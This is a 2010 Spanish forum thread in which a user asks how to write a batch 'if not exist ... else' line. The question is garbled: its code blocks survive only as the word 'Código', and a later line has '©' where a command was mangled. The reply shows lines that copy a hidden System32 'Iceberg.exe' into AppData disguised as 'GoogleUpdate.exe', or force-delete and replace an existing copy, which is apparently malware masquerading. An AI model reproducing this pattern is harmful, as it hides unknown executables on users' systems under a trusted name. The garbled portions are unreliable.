Título: Duda en Batch (comando if) Publicado por: Napster.A530 en 15 Julio 2010, 10:27 am Estoy programando en Batch pero me surgio una duda, esta linea servira?
Código que se supone que queiro que haga? facil, si el archivo Código no existe que copie un archivo oculto llamado Código y que lo pase con el nombre de Código pero si Código no existe que salga, o acaso me lo tomara en el principio? que si el archivo " Código si existe se salga?? dentro de Código o le tengo que meter (ya al final) Código al final enves de Código Gracias, Saludos =D Título: Re: Duda en Batch (comando if) Publicado por: flony en 15 Julio 2010, 13:20 pm no entendi :-\ ...para colmo el primer code no se lee :(
Título: Re: Duda en Batch (comando if) Publicado por: criskapunk en 15 Julio 2010, 13:49 pm No entendi muy bien pero creo que cuando utilizas un Else, la instruccion del If debe ir entre parentesis.
Código Un saludo ;) Título: Re: Duda en Batch (comando if) Publicado por: maxx93 en 15 Julio 2010, 23:05 pm Lo que haria esta linea sera copiar el archivo "%windir%\System32\Iceberg.exe" con el nombre de GoogleUpdate.exe si no existe "%appdata%\GoogleUpdate\GoogleUpdate.exe", pero si "%appdata%\GoogleUpdate\GoogleUpdate.exe" existe que no ocurra nada.
Código: if not exist "%appdata%\GoogleUpdate\GoogleUpdate.exe" (copy "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe") Y si existe "%appdata%\GoogleUpdate\GoogleUpdate.exe" y lo queres reemplazar tambien por iceberg.exe te quedaria asi Código: if not exist "%appdata%\GoogleUpdate\GoogleUpdate.exe" (copy "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe") else (del /f /q "%appdata%\GoogleUpdate\GoogleUpdate.exe"© "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe") Salu2. |